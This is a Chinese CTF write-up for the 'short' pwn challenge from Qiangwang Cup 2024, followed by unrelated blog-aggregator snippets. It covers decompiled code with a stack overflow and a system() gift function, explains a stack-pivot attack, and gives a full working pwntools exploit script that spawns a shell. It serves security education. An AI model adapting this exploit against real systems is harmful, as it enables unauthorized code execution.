2024强网杯pwn short wp
这时2024强网杯的pwn部分的short的WP
分析以下程序的基本安全措施
*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
除了NX其他都没有
接下来放到ghidra里分析以下漏洞,主要寻找read,gets,之类的输入函数
先看一下主入口逻辑,判断输入点
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
int iVar1;
undefined *puVar2;
puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}
此处有登陆,只有成功之后才可以继续执行,所以为了有利用可能,去看看登陆逻辑
undefined4 login(void)
{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68];
printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}
很明显输入用户名admin,密码admin123即可登陆成功
在去vuln函数看看
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
undefined buf [76];
puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}
可以读入88个字节,单数buff有76个字节,所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节
但是这里是静态分析,只可以参考(实际上只可以覆盖到ret地址)
查看其他函数
发现一个gift函数
undefined4 gift(char *param_1)
{
system(param_1);
return 0;
}
如果可以控制参数,便可得到shell
下面动态分析
在vuln函数中
printf("You will input this: %p\n",buf);
泄漏了ebp地址,毕竟函数的变量都是ebp-x 来寻址的,所以buf的地址一定是buf - x , 而x是一个固定的指,于是可以泄漏出ebp的地址
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline()
#一些处理,获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
# 静态分析buff地址是有一个0x50偏移,
ebp = raw-0x50
print("leak ebp",hex(ebp))
这里发现可以输入0x58个数据,从ebp-0x50开始输入
0x8048660 <vuln+79> push 0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 —▸ 0xf7fc1440 ◂— 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>
于是我们可以控制leven 是ebp地址和ret是的rip地址
这里在想到了用栈迁移
因为前面gift函数,看一下汇编部分
0x80485e6 <gift>: push ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret
在call system之前是将ebp + 0x8 作为参数的
在执行leven 和ret后,ebp和eip可以被控制
现在我们可以控制eip和ebp
于是我们可以伪造一个ebp使得epb+8指向/bin/sh
并且让eip去执行这个call,就可以得到shell
现在攻击链如下
1.劫持ebp,eip
2.找到/bin/sh
3.执行call system
因为之前通过泄漏知道了buff的地址,我们可以向buff写入/bin/sh,然后就一切顺利
以下是全部的wp
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline()
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
ebp = raw-0x50
print("leak ebp",hex(ebp))
sh_addr =0x0804a038
fake_ebp = raw -8
payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
在程序中存在/bin/sh字符,为什么我不用呢
因为我用过,打不通,暂时不清楚为什么
2024强网杯pwn short wp的更多相关文章
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- 强网杯web之假的反序列化漏洞
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...
- 从2021强网杯的一道题学习docx文件操作
[强网先锋]寻宝 啊对就是这道题,大佬们都贼快,菜如我还得慢慢整 key1 大佬们都一笔带过,哎,虽然简单,但是也别这么虐我们啊 我来简单写一下吧 <?php header('Content-t ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 细说强网杯Web辅助
本文首发于“合天智汇”公众号 作者:Ch3ng 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 题目源码 index.php 获取我们传入的user ...
随机推荐
- C#开发的全屏图片切换效果应用 - 开源研究系列文章 - 个人小作品
这天无聊,想到上次开发的图片显示软件< PhotoNet看图软件 >,然后想到开发一个全屏图片切换效果的应用,类似于屏幕保护程序,于是就写了此博文.这个应用比较简单,主要是全屏切换换图片效 ...
- 性能测试面试题大曝光,让你如何迅速拿下 offer!
性能测试面试题精选 1. 以前做过性能测试么?请结合例子具体说明性能测试的流程 面试考察点:性能测试的流程 首选做性能测试的需求分析,明确性能测试的目标.范围.场景和性能指标(如响应时间.吞吐量.并发 ...
- Django框架创建运行最小程序过程记录
基于 python语言 Django web框架下 用pycharm创建,修改,运行 最简单程序.旨在过程 ========================================== 步骤一 ...
- 9组-Beta冲刺-3/5
一.基本情况(15分) 队名:不行就摆了吧 组长博客:9组-Beta冲刺-3/5 GitHub链接:https://github.com/miaohengming/studynote/tree/mai ...
- Quartz.NET 的使用
先貼使用代碼: 1 using Quartz; 2 using Quartz.Impl; 3 using Quartz.Logging; 4 using System; 5 using System. ...
- Meissel_Lehmer模板
复杂度 \(O(n^\frac 23)\),计算 \(1\sim n\) 的素数个数 #define div(a, b) (1.0 * (a) / (b)) #define half(x) (((x) ...
- SMU Autumn 2023 Round 4(Div.1+2)
SMU Autumn 2023 Round 4(Div.1+2) A. Access Denied 通过分析样例可以得知如果所猜字符串与答案字符串长度不同,则只要\(5ms\),且答案最多\(20\) ...
- LaTeX 常用引用标签前缀
引用对象 标签前缀 Chapter ch Section sec Subsection sec Appendix app Figure fig Table tab List item itm Equa ...
- AWS Data Analytics Fundamentals 官方课程笔记 - Variety, Veracity, Value
Variety structured data applications include Amazon RDS, Amazon Aurora, MySQL, MariaDB, PostgreSQL, ...
- LLog:Spring轻量级请求日志监控组件,集成管理面板,支持多条件查询检索
开源地址 https://gitee.com/lboot/LLog 简介 LLog是基于AOP构建的请求日志记录和查询工具库,通过引入该工具库,完成配置,实现对接口请求日志的记录.查询检索等功能. 请 ...